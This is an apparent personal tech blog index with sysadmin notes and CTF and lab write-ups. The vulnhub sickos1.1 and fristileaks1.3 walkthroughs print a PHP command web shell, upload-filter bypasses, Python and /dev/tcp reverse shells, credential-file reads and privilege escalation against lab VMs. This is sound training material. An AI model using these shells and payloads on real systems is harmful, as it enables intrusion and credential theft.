Kush, Nishchal

New new blog

kush (at) kush.com.fj (Kush, Nishchal) — Fri, 03 Jan 2025 18:29:46 +1000

Launched an updated version of the website. The previous version was version 5 which used custom HTML along with Hugo Go generated HTML. The transition to Version 5 happened in 2018.

Version 6

I’ve recently been encourgaed to go back to blogging and felt it was time to move to pure Hugo. Hence, the birth of version 6. Version 6 is purely Hugo Go generated and used the BeautifulHugo theme.

Previous posts were also migrated over from version 5 of the blogs section which were initially deployed using Google Blogger. Version 6 is a huge jump from the last post about 5-years ago.

CTFlearn Easy

kush (at) kush.com.fj (Kush, Nishchal) — Mon, 17 Aug 2020 21:15:16 +1000

Sorted all challenges by difficult so that I could attempt and learn from the easier ones.

Easy

Misc

Practice Flag - 20pts

Try inputting the flag: flag{CTFLearn_is_awesome}

Submitted: CTFLearn{CTFLearn_is_awesome}

Wikipedia - 30pts

Not much to go off here, but it�s all you need: Wikipedia and 128.125.52.138.

Navigated to wikipedia site https://www.wikipedia.org/
Searched for 128.125.52.138 and found page on Flag. Searched within page for CTF and found reference to CTF flgs
Submitted: CTFlearn{cNi76bV2IVERlh97hP}

QR Code - 30pts

Do you remember something known as QR Code? Simple. Here for you : https://mega.nz/#!eGYlFa5Z!8mbiqg3kosk93qJCP-DBxIilHH2rf7iIVY-kpwyrx-0

UQ Cyber Squad 0x03 Shells

kush (at) kush.com.fj (Kush, Nishchal) — Sun, 29 Mar 2020 00:24:34 +1000

Introduction

0x03 Shells session presented by the UQ Cyber Squad. Access via OpenVPN connection. OpenVPN configuration bundle provided during the workshop.

Challenge 1 - Family Binding Time - 10pts

Let’s bind together at 192.168.57.11:8297

nc 192.168.57.11 8297
id
uid=1002(user) gid=1002(user) groups=1002(user)
pwd
/home/user
ls -las
total 60
 4 drwxr-xr-x 3 user user 4096 Mar 27 06:02 .
 4 drwxr-xr-x 4 root root 4096 Mar 24 02:13 ..
 4 -rw------- 1 user user 1584 Mar 26 01:26 .bash_history
 4 -rw------- 1 user user 105 Mar 26 00:50 .lesshst
 4 -rw------- 1 user user 5 Mar 24 03:38 .python_history
 4 drwxr-xr-x 2 user user 4096 Mar 26 00:59 .ssh
 8 -rw------- 1 user user 5066 Mar 27 06:01 .viminfo
 4 -r-xr-xr-x 1 root user 892 Mar 27 06:02 init_shell.py
20 -rwsr-xr-x 1 richard root 16728 Mar 26 00:54 read_secret_message
 4 -rw-r--r-- 1 user user 24 Mar 24 02:14 user.txt
cat user.txt	
flag{n1c3_b0nd1ng_t1m3}

Challenge 2 - shhhhhhhh - 20pts

How do I ssshhhhh? How do I know how to?

Over the Wire - Wargames - Bandit

kush (at) kush.com.fj (Kush, Nishchal) — Sun, 22 Mar 2020 11:35:20 +1000

Introduction

Details about the challenges may be found at https://overthewire.org/wargames/bandit/. The game is played over SSH over port 2220 so firewalls may need to be adjusted to allow outbound traffic to connect to the game. The game has 34 levels. The levels are chained, so that to get to the next level you need to complete/finish/beat the previous level.

WARNING: These are my own notes and contain actual flags.

Bandit Level 0

Level Goal

The goal of this level is for you to log into the game using SSH. The host to which you need to connect is bandit.labs.overthewire.org, on port 2220. The username is bandit0 and the password is bandit0. Once logged in, go to the Level 1 page to find out how to beat Level 1.

UQ Cyber Squad 0x01 Intro to Linux, Machines, and Networking

kush (at) kush.com.fj (Kush, Nishchal) — Fri, 20 Mar 2020 21:55:48 +1000

Introduction

Found the UQ Cyber Squad site at https://cybersquad.uqcloud.net/index.html. Signed up for their CTF on https://ctf.uqcloud.net/

0x01 Introduction to Linux

This was identical to the QUT Whitehats Week 2 for challenges 1 through to 8. The writeup was already done at https://kush.com.fj/blog/posts/2020-02-28_qut_wh_wk2/.

No place like index.html - 10pts

There’s no clues or hints for this but it was pretty obvious.

Navigated to https://cybersquad.uqcloud.net/index.html
Manually reviewed the page source and searched for flag
Found flag on line #30 of the source
Submitted: flag{w0ah_n1c3_f1nd}

Machines

The machines challenges were named machines because they provided virtual machines for a traditional boot-to-root.

QUT Whitehats CTF Week_3

kush (at) kush.com.fj (Kush, Nishchal) — Fri, 13 Mar 2020 22:55:59 +1000

Week_3

WARNING: Like all my CTF notes, this contains spoilers.

3x01 - 10pts

https://crypto.qutwhitehats.club/ch1

For simplicity sake, to be able to easily attempt this weeks challenges, please navigate to: https://www.katacoda.com/0xollie/scenarios/0x01 sign up/sign in and click onto the terminal.

INPUT: apt install httpie -y wait approx 1 minute for it to install.

obtain ciphertext by running the following command: http get https://crypto.qutwhitehats.club/ch1

To input an answer run the following command: http post https://crypto.qutwhitehats.club/ch1 answer=“answerhere”

QUT Whitehats CTF Week_2

kush (at) kush.com.fj (Kush, Nishchal) — Fri, 06 Mar 2020 18:25:36 +1000

Week_2

I spent a good 10 minutes trying to figure out the challenges before reaching for help. Eventually was told that the challenge location was “on the end of our slide deck is a link to katacode, thats where Olliver is doing his Challenges https://www.katacoda.com/0xollie/scenarios/0x01"

Signed up for Katacoda and nativated to the URL.

WARNING: Like all my CTF notes, this contains spoilers.

Challenge 1 - Normal files - 10pts

These are just regular files flag syntax: flag{insert_flag_here}

QUT Whitehats CTF Week_1

kush (at) kush.com.fj (Kush, Nishchal) — Fri, 28 Feb 2020 18:49:36 +1000

Week_1

WARNING: Like all my CTF notes, this contains spoilers.

How_2_Flag - 0 pts

For our CTF challenges this year we will be using the format: flag-{example_flag} Please note that all flags are case-sensitive!

Submitted: flag-{example_flag}

Community - 5 pts

Have you joined our discord server yet? https://discord.gg/kRbcVnP

Joined discordapp
Clicked on Add a server
Used the URL in the challenge
Checked #flag channel
Submitted: flag-{welcome_1337_haxor}

Stay_Informed - 10 pts

Our website - https://qutwhitehats.club is a vast treasure trove of information. Have a look and see if you can find the hidden flag!

AWSN Cadet CTF

kush (at) kush.com.fj (Kush, Nishchal) — Fri, 21 Feb 2020 20:48:33 +1000

Introduction

I was fortunate enough at attend an Australian Women in Security Networ (AWSN) session. Following the session there was a beginner level capture the flag (CTF) hosted off http://149.28.182.32:8000. These are my notes from the CTF. Additional things to note are, firstly, that for the Web challenges, challenge 4 is called flag5, and challenge 5 references flag4. Secondly, the submission for the Cryptography password challenge expects the flag in the format flag{flag_value}. Finally, the notes below contain spoilers, and actual flags submitted.

GPG Better than Zip Encryption

kush (at) kush.com.fj (Kush, Nishchal) — Sat, 30 Mar 2019 00:58:32 +1000

Is GPG/OpenPGP really Better than Zip ?

I attended a local conference yesterday (2019-03-29) and during one of the talks a senior analyst from one of the world’s first CERT said that the preference was to use GPG for symmetric key encryption of files to transfer confidential information to their clients over zip. The reason presented was that zip did not provide the desired level of confidentiality and integrity. This comment got me thinking as I had thought that zip used AES for encryption, so now I am awake at 0100hrs in the morning and curious to understand the encryption used in zip.

Pen Test Assessment

kush (at) kush.com.fj (Kush, Nishchal) — Wed, 20 Mar 2019 00:09:26 +1000

Penetration Test Assessment

A penetration test assessment was a requirement of a short cource on Penetration Testing from the Charles Sturt University. As part of the assessment, students were provided an ova image of a virtual machine. The virtual machine was to be the target of a penetration test, and students were expected to obtain flags for submission. A walkthrough of the assessment is presented here.

For the benefit of other students, the names and values of the flags have been redacted, and replaced with the string REDACTED

Metasploitable2 Walkthrough

kush (at) kush.com.fj (Kush, Nishchal) — Fri, 27 Jul 2018 23:23:09 +1000

For this walk-though I use the Metasploit framework to attempt to perform a penetration testing exercise on Metasploitable 2. I employ the following penetration testing phases: reconnaisance, threat modelling and vulnerability identification, and exploitation. Since this is a mock exercise, I leave out the pre-engagement, post-exploitation and risk analysis, and reporting phases.

Set-up

This metasploitable walk-through is performed in a virtual lab environment. Two virtual machines (VMs) are used. The first is a Kali VM and the second is the Metasploitable2 VM. Both VMs have their network interfaces connected to an internal Virtualbox network called vlabnet. There is a DHCP server on the virtual lab network to dynamically allocate IP addresses to hosts.

Cross compile libpcap for Arm

kush (at) kush.com.fj (Kush, Nishchal) — Mon, 14 May 2018 12:56:13 +1000

This has been tested on Ubuntu 16.04.1 Desktop (64-bit), and assumes that arm-linux-gnuabi-gcc has already been installed, e.g. sudo apt-get install -y gcc-arm-linux-gnueabi

Download the latest libpcap source tar ball from [http://www.tcpdump.org/#latest-releases], e.g. libpcap-1.8.1.tar.gz

tar zxvf libpcap-1.8.1.tar.gz
apt-get install flex bison byacc
export CC = arm-linux-gnueabi-gcc
./configure –host=arm-linux –with-pcap=linux
make

Once the library has been compiled, it may be linked to other code, using the -L gcc flag and the location of the library. e.g. -lpcap -L/home/nkush/development/libpcap-1.8.1

New Blog

kush (at) kush.com.fj (Kush, Nishchal) — Wed, 25 Apr 2018 17:55:10 +1000

I’d been using blogger for a while now, but found that the last couple of years had not bothered making and publishing notes to my blog as I normally did. Blogger also has has some weird formatting issues (because I cannot HTML). So I decided to migrate to a static blog. Before proceeding I decided to document a number fo requirements I would like addressed.

Requirements

Migrate to static web pages instead of CMS
Easily update blog with short posts (to force myself to post regularly).
Easily migrate from blogger.
No database back end
Supports github or similar markdown
Supports themes/templates/CSS

Security Requirements

PCAP or it didn't happen

kush (at) kush.com.fj (Kush, Nishchal) — Thu, 04 Aug 2016 23:15:00 +1000

“PCAP or it didn’t happen” is a good network security philosophy. The primary idea being to capture network traffic for analysis. In a non-corporate environment where a CentOS-based Linux host has been used as a dual homed firewall (refer to the lame ASCII art network diagram below), tcpdump was used for continuous traffic capture.

 _( )______ ________ +-----+ _( )__
 ( Internet )---/ Router \----| F/W |----( DMZ )
(____________) \________/ +-----+ (________)

Firstly, we create a location to save the pcap files. Next, since contemporary version of tcpdump are baked with the -Z switch which causes tcpdump to drop into a less privileges account (tcpdump in the case of this particular version of CentOS) we change ownership and permissions to the location, and change permissions to allow the tcpdump user and group to have full read and write permission.

vulnhub.com sickos1.1

kush (at) kush.com.fj (Kush, Nishchal) — Tue, 19 Jan 2016 19:46:00 +1000

host: 192.168.56.1 dhcp-server: 192.168.56.100 kali: 192.168.56.101

* log
 # 2015/12/26 19:00 -> 19:40 (40min)
 # 2015/12/26 22:10 -> 23:50 (1hr 40min)
 # 2015/12/27 18:20 -> 18:40 (20min)
 # total time = 2hr 40min)

* discovery - target
 * nmap --min-parallelism=100 -sP -T5 192.168.56.0/24
 * found: 192.168.56.102

* discovery - services
 * nmap --min-parallelism=100 -A -T5 -p1-65535 192.168.56.102
 * found: port 22/tcp ssh, 3128/tcp squid, 8080/tcp ??
 * !!exploit-db did not reveal much
 * tried: nc -n -v 192.168.56.102 3128
 * with GET /
 * found: invalid URL error
 * with GET http://127.0.0.1/
 * found: landing page with BLEHHH!!! and PHP/5.3.10-1ubuntu3.21
 * using proxy: export http_proxy="http://192.168.56.102:3128"
 * wget http://192.168.56.102/robots.txt
 * found http://192.168.56.102/wolfcms
 * !!decided to use iceweasel with proxy instead of command line
 * did not find generator metatag
 * downloaded wolfcms
 * found: README.md, requested http://192.168.56.102/wolfcms/README.md
 * found: version = 0.8.2
 * found: , requested http://192.168.56.102/wolfcms/wolf/plugins/file_manager/file_manager.css
 * found: http://192.168.56.102/wolfcms/wolf/plugins/ is also browseable
 * found: that file_manager plugin is installed
 * read 
 - https://www.wolfcms.org/download/security-patches.html
 - http://www.securityfocus.com/archive/1/521797
 - https://www.exploit-db.com/exploits/36818/
 - https://packetstormsecurity.com/files/133011/Wolf-CMS-0.8.2-Open-Redirect.html 
 - https://github.com/wolfcms/wolfcms/issues/619
 * vulnerabilities
 * file upload
 * open redirect
 * stupidly tried admin/admin
 * uploaded shell.php using file uploaded
 * http://192.168.56.102/wolfcms/public/shell.php?cmd=id
 * used shell.php 
 * found: config.php using curl http://192.168.56.ll.php -d cmd="cat ../config.php"
 * found: mysql db=wolf, username=root, password=john@123
 * used curl http://192.168.56.102/wolfcms/public/shell.php --data-urlencode "cmd=mysqldump -u root -pjohn@123 mysql"
 * found:
 * used shell.php to list directories
 * found: /var/www/connect.py
 * attempted python reverse shell
 * kali - nc -vvv -l -p 1234
 * sickos - curl http://192.168.56.102/wolfcms/public/shell.php --data-urlencode "cmd=/usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.56.101\",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/bash\",\"-i\"]);'"
 * attempted to get tty, inside reverse shell
 * /usr/bin/python -c 'import pty; pty.spawn("/bin/sh")'
 * tried to use su - sickos, using the mysql password john@123, worked!!
 * sudo bash
 * ls -l /root
 * cat a0216ea4d51874464078c618298b1367.txt
 


* appendix

// shell.php
-- start of shell.php --
<?php
if(isset($_REQUEST['cmd']))
{
 $cmd = $_REQUEST['cmd'];
 system($cmd);
 echo "<pre>$cmd</pre>";
}
else
{
 echo "<pre>usage: ?cmd=</pre>";
}
?>
-- end of shell.php --

Error importing into Virtualbox

kush (at) kush.com.fj (Kush, Nishchal) — Tue, 19 Jan 2016 19:39:00 +1000

Open visualisation format (OVF) is an open standard for packaging and distributing virtual appliances. Essentially this is meant to ensure portability of software and virtual machines across different hypervisors, such as vmware, virtualbox, etc. However, I got an error when importing an OVF file into virtualbox Version 5.0.12 r104815

“Host resource of type “Other Storage Device (20)” is supported with SATA AHCI controllers only, line 47.”

Error reading "XXXXXX.ovf": Host resource of type "Other Storage Device (20)" is supported with SATA AHCI controllers only, line 47.


Result Code: 
VBOX_E_FILE_ERROR (0x80BB0004)
Component: 
ApplianceWrap
Interface: 
IAppliance {XXXXXX}

Fixed it by following the instructions on the forum[1]

vulnhub.com fristileaks1.3

kush (at) kush.com.fj (Kush, Nishchal) — Tue, 19 Jan 2016 19:34:00 +1000

host: 192.168.56.1 dhcp-server: 192.168.56.100 kali: 192.168.56.101

* log
 # 2015/12/24 14:45 -> 16:30 (1hr 45min)
 # 2015/12/25 15:00 -> 17:45 (2hr 45min)
 # total time = 4hrs 30min

* discovery - target
 * nmap --min-parallelism=100 -sP -T5 192.168.56.0/24
 * found target: 192.168.56.102
 
* discovery - services
 * nmap --min-parallelism=100 -A -T5 -p1-65535 192.168.56.102
 * found ports: 80

* enumerate port 80
 * wget http://192.168.56.102
 * cat index.html
 * wget http://192.168.56.102/images/keep-calm.png
 * wget http://192.168.56.102/robots.txt
 * robots.txt: disallow /cola /sisi /beer
 * wget http://192.168.56.102/cola/
 * since its not the URL, and we should drink fristi
 * wget http://192.168.56.102/fristi/
 * cat index.html
 * read description meta tag reg comment about base64
 * noticed second commented out base64
 * suspect username: eezeepz
 * extracted commented out line using vi
 * deleted other lines
 * joined all lines (:%j)
 * removed spaces (:%s/\ //g)
 * saved into fristi_img2.txt
 * base64 -d fristi_img2.txt > img2
 * file img2
 * mv img2 img2.png
 * suspect password: keKkeKKeKKeKkEkkEk

* access
 * http://192.168.56.102/fristi/
 * myusername: eezeepz, mypassword: keKkeKKeKKeKkEkkEk
 * logged into http://192.168.56.102/fristi/login_success.php
 * clicked upload file link to http://192.168.56.102/fristi/upload.php
 * uploaded img2.png and got message regarding /uploads
 * verified upload location http://192.168.56.102/fristi/uploads/img2.png

* attempted shell access using weevely (failed)
 * generated weevely shell: weevely generate password shell.php
 * cp /usr/share/weevely/shell.php .
 * attempted upload: only allowed png,jpg,gif
 * mv shell.php shell.gif
 * uploaded and connected
 * weevely http://192.168.56.102/fristi/uploads/shell.gif password
 * fixed pythong issues
 * tar zxvf PySocks-1.5.6.tar.gz
 * cd PySocks-1.5.6/
 * ./setup.py build
 * ./setup.py install
 * weevely http://192.168.56.102/fristi/uploads/shell.gif password
 * unable to connect

* used old script to execute commands
 * renamed to shell.php.jpg
 * uploaded file
 * curl http://192.168.56.102/fristi/uploads/shell.php.jpg?cmd=id
 * uid=48(apache) gid=48(apache) groups=48(apache)
 * curl http://192.168.56.102/fristi/uploads/shell.php.jpg -d cmd="cat /etc/passwd"
 * found: eezeepz, admin, fristigod, fristi
 * ls -l /home/
 * found: drwx---r-x. on eezeepz
 * ls -l /home/eezeepz
 * found: 
 * notes.txt
 * commands (various)
 * cat /home/eezeepz/notes.txt
 * found: 
 * cron runs /tmp/runthis with admin privileges every minute
 * commands chmod, df, cat, echo, ps, grep, egrep in /home/admin
 * access to /usr/bin/*
 * changed access to /home/admin
 * curl http://192s/shell.php.jpg -d cmd="echo '/home/admin/chmod 755 /home/admin/' > /tmp/runthis"
 * ls -las /home/admin/
 * found: cryptedpass.txt, cryptpass.py, and whoisyourgodnow.txt (owner by fristigod)
 * cat /home/admin/whoisyourgodnow.txt
 * found: =RFn0AKnlMHMPIzpyuTI0ITG
 * cat /home/admin/cryptedpass.txt
 * found: mVGZ3O3omkJLmy2pcuTq
 * cat /home/admin/cryptpass.py
 * found:
 * function does base64 then rot13
 * created own script to decrypt password
 * python ./decryptpass.py mVGZ3O3omkJLmy2pcuTq
 * found: thisisalsopw123
 * python ./decryptpass.py =RFn0AKnlMHMPIzpyuTI0ITG
 * found: LetThereBeFristi!
 
* interactive shell
 * got tired of using the php script and decided to get interactive shell
 * on kali: nc -n -vvv -l -p 80
 * ran via php: /bin/bash -i > /dev/tcp/192.168.56.101/80 0<&1 2>&1, but encoded for url as %2Fbin%2Fbash%20-i%20%3E%20%2Fdev%2Ftcp%2F192.168.56.101%2F80%200%3C%261%202%3E%261
 * now have shell (without TTY, so cannot use su yet)
 * find files owned by users
 * find / -user eezeepz 2>&1 | grep -v "Permission denied"
 * find / -user admin 2>&1 | grep -v "Permission denied"
 * find / -user fristi 2>&1 | grep -v "Permission denied"
 * find / -user fristigod 2>&1 | grep -v "Permission denied"
 * found: /var/fristigod
 * found: empty mailboxes
 * found: /var/www/notes.txt 
 * not very useful since we already figured this out
 * tried to get tty shell 
 // https://pen-testing.sans.org/blog/2014/07/08/sneaky-stealthy-su-in-web-shells
 // http://netsec.ws/?p=337
 * /usr/bin/python -c 'import pty; pty.spawn("/bin/sh")'
 * used: su fristigod and password: LetThereBeFristi!
 * cd /var/fristigod
 * ls -las 
 * found: .bash_history and .secret_admin_stuff
 * cat .bash_history
 * found: sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom
 * ls -las /var/fristigod/.secret_admin_stuff/
 * found: suid/guid set on doCom file and owned by root:root
 * file /var/fristigod/.secret_admin_stuff/doCom
 * strings /var/fristigod/.secret_admin_stuff/doCom
 * sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom
 * found: Usage: ./program_name terminal_command ...
 * sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom id
 * found: uid=0(root) gid=100(users) groups=100(users),502(fristigod)
 * sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom bash
 !! got root !!
 * found: cat /root/fristileaks_secrets.txt
 * cat /root/fristileaks_secrets.txt
 * found: Flag: Y0u_kn0w_y0u_l0ve_fr1st1

# Other
* /root/.c has source for doCom
* cat /root/.mysql_history
 

* appendix
// http://snipplr.com/view/72936/simple-php-backdoor-shell/
-- start of old script -- 
<?php
if(isset($_REQUEST['cmd']))
{
 $cmd = $_REQUEST['cmd'];
 system($cmd);
 echo "<pre>$cmd</pre>";
}
else
{
 echo "<pre>usage: ?cmd=</pre>";
}
?>

-- end of old script


// modified cryptpass.py script
-- start of decryptpass.py script --
import base64,codecs,sys

#def encodeString(str):
# base64string= base64.b64encode(str)
# return codecs.encode(base64string[::-1], 'rot13')

def decodeString(str):
 rottedString= codecs.encode(str[::-1], 'rot13')
 return base64.b64decode(rottedString)

#cryptoResult=encodeString(sys.argv[1])
#print cryptoResult

#decryptedResult=decodeString(cryptoResult)
#print decryptedResult

decryptedResult=decodeString(sys.argv[1])
print decryptedResult
-- end of decryptpass.py script --

.vimrc

kush (at) kush.com.fj (Kush, Nishchal) — Sat, 19 Dec 2015 20:18:00 +1000

set nobackup " do not save ~file

set backspace=2 " backspace in insert mode like other editors
set cursorline " location of cursor shown as underscore
syntax on " syntax highlighting
set number " line numbers

filetype indent on " activates indenting for files
set autoindent " auto indenting
set si " smart indent

set expandtab " use spaces instead of tabs
set smarttab " use smarts when tabbing
set shiftwidth=2 " 1 tab == 2 spaces
set tabstop=2
set softtabstop=2

set textwidth=130 " wrap lines 130 chars, wide-carriage :)

set hlsearch " highlight search results
set incsearch " incremental search to move result while typing
set showmatch " show matching brackets

Metasploitable2 Walk-through

kush (at) kush.com.fj (Kush, Nishchal) — Sun, 08 Feb 2015 19:08:00 +1000

(This is an interim post and will be updated progressively. This note will be removed once done.)

This post extends the walk-though on the initial version of Metasploitable at http://nkush.blogspot.com.au/2011/09/metasploitable-walkthrough.html. It should be noted that some commands and output may have been truncated for the purposes of brevity.

Set-up
The set-up included two machines in a virtual test environment using VirtualBox. The first was a Metasploitable virtual machine (VM) and the second a Kali 1.0 VM. The two hosts were configured to have a host-only network connection. The test environment was isolated to the 192.168.32.0/24 network. All commands were execute on the Kali VM.

Setting up git

kush (at) kush.com.fj (Kush, Nishchal) — Wed, 05 Nov 2014 20:53:00 +1000

Git is yet another open source version control, and seems to be the tool of choice for contemporary coding mavericks. I still prefer svn and cvs, for centralised version control, but can appreciate why some projects may require distributed repositories as afforded by git.

Setting up a central git repository on a server is easy. You basically setup a user, whose home directory is used to store the repositories, and allow access to people using keys, where the user retain their private key and their public key is saved as an authorised key for the git user account.

Denyhost 2.6 on CentOS 6.5

kush (at) kush.com.fj (Kush, Nishchal) — Wed, 05 Nov 2014 20:51:00 +1000

Denyhosts is another utility similar to fail2ban. It parses log files to identify potential attacks against SSH services. A clear advantage that Denyhosts has over fail2ban is the synchronisation mechanism since version 2.0[1]. Denyhosts permits communication with a central server to exchange information about denied hosts by other Denyhosts daemons. However unlike fail2ban, it does not modify any firewall (iptables) rules, instead it relies on tcpwrapper and the hosts.deny file to block ssh access. Fail2ban also offers the advantage of monitoring other services and logs, whereas Denyhosts is specific to SSH. There are other utilities which use tcpwrapper such which can handle additional services[2].

Configuring RANCID on CentOS 6.5

kush (at) kush.com.fj (Kush, Nishchal) — Wed, 22 Oct 2014 16:51:00 +1000

RANCID stands for really awesome new cisco configuration differ[1] and polls Cisco devices to get a copy of the configuration and an inventory of the hardware and commits the details to a version control system such a CVS or SVN. The version control is used to maintain a history of the changes, and any changes to the configuration are reported. There are a number of guides available for installing RANCID[2,4,5], but I’ve documented the steps I took here for my reference.

Dog Training for Network Admins: Managing POODLE - CVE-2014-3566

kush (at) kush.com.fj (Kush, Nishchal) — Wed, 22 Oct 2014 00:48:00 +1000

CVE-2014-3566 relates to a flaw found in handling of padded bytes in SSL 3.0 when using CBC mode for the encryption[3]. The flaw may be exploited to permit a man-in-the-middle (MITM) attack. The attacker may be able to decrypt a selected byte of a cipher text in a limited number (256) of attempts, by repeatedly requesting the victim to send the same data over multiple SSLv3 connections.

Patching Bash "shellshock" on Apple Mac OS X 10.9.5

kush (at) kush.com.fj (Kush, Nishchal) — Thu, 25 Sep 2014 15:12:00 +1000

Given the recent bash vulnerability disclosure[1] most linux distributions have released patches. Unfortunately Apple still expected users to compile their patches into bash. If you were using Homebrew or Macport you were in better standing and simply had to create symlinks to the patched executables. I’ve documented the steps I had to take on my Mac desktop.

Compile

Microsoft Office 2013 Activation - Error 0x800070005

kush (at) kush.com.fj (Kush, Nishchal) — Tue, 03 Jun 2014 10:12:00 +1000

I have some customers who do not volume license their Microsoft Product and need to activate their Microsoft Office products. This particular customer bought a laptop with Microsoft Office 2013 pre-loaded and purchased a separate Microsoft Office Home and Business 2013 1PC License, however when they tried to activate the license by entering in their product key they kept getting a pop-up error message;

“We’re sorry, something went wrong and we can’t do this for you right now. Please try again later. ( 0x80070005 )”.

CentOS 6.4 VirtualBox VM won't boot up after doing an update/upgrade!!!

kush (at) kush.com.fj (Kush, Nishchal) — Thu, 04 Apr 2013 19:10:00 +1000

Often times, I employ a CentOS VirtualBox virtual machine (VM) as a development, testing and staging environment, I love the flexibility of virtual environments for testing and development work before moving my work to production environments.

Recently I ran a yum update and yum upgrade on a CentOS 6.4 VM and subsequently rebooted it, only to be greeted by a blank screen following bootup. A quick search of virtual TTY terminals yielded a login prompt.

Snort 2.9 on CentOS 6.3 (continued) with Barnyard2

kush (at) kush.com.fj (Kush, Nishchal) — Thu, 28 Mar 2013 18:39:00 +1000

This is a continuation of the post on installing Snort 2.9 on CentOS 6.4 (http://nkush.blogspot.com.au/2013/03/snort-29-on-centos-63.html). This post installs Barnyard2 on the host.

Barnyard is an output system for Snort. If effectively allows better snort performance by enabling Snort to produce binary output which is then processed by Barnyard.

Barnyard processes the binary Snort output files (unified2 binary) and stores the processed data into a database back-end, for example MySQL. The advantage of using Barnyard instead of the database output from Snort is that Barnyard is able to “cache” the data in case the database is unavailable.

Snort 2.9 on CentOS 6.3

kush (at) kush.com.fj (Kush, Nishchal) — Sat, 16 Mar 2013 18:03:00 +1000

Snort is a signature based network intrusion detection system (NIDS) which has become a defacto standard for NIDS. In addition to being used as a NIDS, Snort may also be used as a simple network traffic packet sniffer or logger.

A number of Snort dynamic preprocessors are available which enables the development of rules to attack detection.

Snort is an open source product and available for most popular network operating systems. Snort rules are also available commercially from Sourcefire.

Installing and Configuring OpenVPN 2.3 on Microsoft Windows Small Business Server 2003

kush (at) kush.com.fj (Kush, Nishchal) — Sun, 03 Mar 2013 16:08:00 +1000

My previous posts (http://nkush.blogspot.com.au/2012/08/installing-openvpn-22-on-centos-63-64bit.html and http://nkush.blogspot.com.au/2011/10/installing-openvpn-22-on-centos-57.html) have been on installing OpenVPN on Linux.

This post is slightly different as it installs and configures OpenVPN on a Microsoft Windows Small Business Server (SBS). The SBS installation is also different from the previous write-ups since this configuration uses Ethernet bridging instead of tunneling.

Although SBS comes with Layer2 Tunneling Protocol (L2TP) and Point-to-point Tunelling Protocol (PPTP) for Virtual Private Network (VPN), some users may want to use an Secure Sockets Layer (SSL) based VPN such as OpenVPN. The default installation location, i.e. C:\Program Files\OpenVPN\ is used in the instructions below

! LaTeX Error: File `algorithm2e.sty' not found.

kush (at) kush.com.fj (Kush, Nishchal) — Mon, 22 Oct 2012 13:37:00 +1000

During yet another LaTeX project on my MacBook, I added some algorithms to my paper. After checking a couple of examples online, and discussing with a colleage I decided to go with algorithm2e over others such as algorithm, algorithmic, algorithmicx, program and pseudocode[1].

However I got the following error “! LaTeX Error: File `algorithm2e.sty’ not found.” Since I am using macport, to resolve this I needed to install the texlive-science package by executing sudo port install texlive-science, and all was good again.

Using QUT Secure Access Service (SAS) on Ubuntu

kush (at) kush.com.fj (Kush, Nishchal) — Fri, 17 Aug 2012 19:02:00 +1000

QUT SAS allows QUT students and staff remote access to QUT resources securely. Unix and Unix-like operating systems such as Linux are not supported. The instruction on the QUT ITServices are pretty clear [1]. But I have duplicated some of it here for my reference. I tested the configuration on Ubuntu.

Install VPNC

sudo apt-get install vpnc

Download or create the configuration file
The configuration file can be specified on the command line when executing vpnc, or /etc/vpnc/default.conf and /etc/vpnc.conf will be used. If you only using a single VPNC connection, then save the configuration file as /etc/vpnc.conf
Sample configuration file /etc/vpnc.conf. A sample configuration file is provided below. If you do not have a configuration and simple execute vpnc, you can still establish a connection by supplying the correct input at the prompts.

Connecting to OpenVPN from a Mac using Tunnelblink

kush (at) kush.com.fj (Kush, Nishchal) — Fri, 10 Aug 2012 12:04:00 +1000

To connect to an OpenVPN server you need an appropriate OpenVPN client installed to establish the SSL link. For Apple Mac OS X systems, TunnelBlick (http://code.google.com/p/tunnelblick/) is a good graphical user interface. At the time of this blog the current latest stable version of TunnelBlick available was 3.2.7. These instructions were executed on an Apple iMac running Mac OS X 10.7.4. As with all other posts on this blog, the purpose of this post is not to provide a tutorial, but instead to documents the steps taken, for my own benefit.

Installing OpenVPN 2.2 on CentOS 6.3 64bit

kush (at) kush.com.fj (Kush, Nishchal) — Wed, 08 Aug 2012 23:37:00 +1000

This post is just an update of a previous post that used CentOS 5.7 and OpenVPN 2.2 (http://nkush.blogspot.com.au/2011/10/installing-openvpn-22-on-centos-57.html). The basic instructions are the same, however this post uses some newer packages which may have been relocated to new URLs. Again this blog and the posts are mostly for my own reference and not intended as step-by-step instuctions for other systems/network administrators

Install RPMForge or RepoForge as it’s now known[1]

Change Apple Mac OS X Software Update Service (SUS) address

kush (at) kush.com.fj (Kush, Nishchal) — Thu, 26 Jul 2012 15:01:00 +1000

Apple IU Software Update service allows uses to keep their Mac OS X machines updated with the latest software updates and security patched. In some controlled environments, the update servers are specified in the user profile. Sometimes there may be delays in the server updates, or problems with the local update server and users may desire to connect to Apple’s services directly. Here’s are some instructions that users may find useful. Please note that to make configuration changes you will need Administrative privileges on your Mac.

How to install Springer Lecture Notes in Computer Science (LNCS) style for MiKTeK on Windows 7

kush (at) kush.com.fj (Kush, Nishchal) — Wed, 25 Jul 2012 21:08:00 +1000

Following on from my previous post… I had the same issue when working on my Microsoft Windows desktop at home, i.e. got the following error “! LaTeX Error: File `llncs.cls’ not found.”. So had to download the “llncs2e.zip” file yet again from “http://www.springer.com/computer/lncs?SGWID=0-164-6-793341-0/”

Dowload and extract llncs2e.zip
Create a directory called splncs in C:\Program Files\MiKTeX 2.?\bibtex\bst
Move the extracted file splncs.bst, splncs_srt.bst, and splncs03.bst into the new directory C:\Program Files\MiKTeX 2.9\bibtex\bst\splncs
Move the extracted directory ?? into C:\Program Files\MiKTeX 2.9\tex\latex
Rebuild the filename database by Miktek - Maintenance - Settings, and click on the “Refresh FNDB” button (this may take a while depending on your computer)

Springer Lecture Notes in Computer Science (LNCS) style

kush (at) kush.com.fj (Kush, Nishchal) — Tue, 24 Jul 2012 13:14:00 +1000

When working on a recent paper for a conference, I was required to produce it using the Spring Lecture Notes in Computer Science (LNCS) style. Being naive, I assumed TeX would automatically download the required package… unfortunately I got the following error “LaTeX Error: File `llncs.cls’ not found.” So I had to install the class manually. Here are the instructions for installing it on Mac OS X for latex from macport.

My ant build.xml file

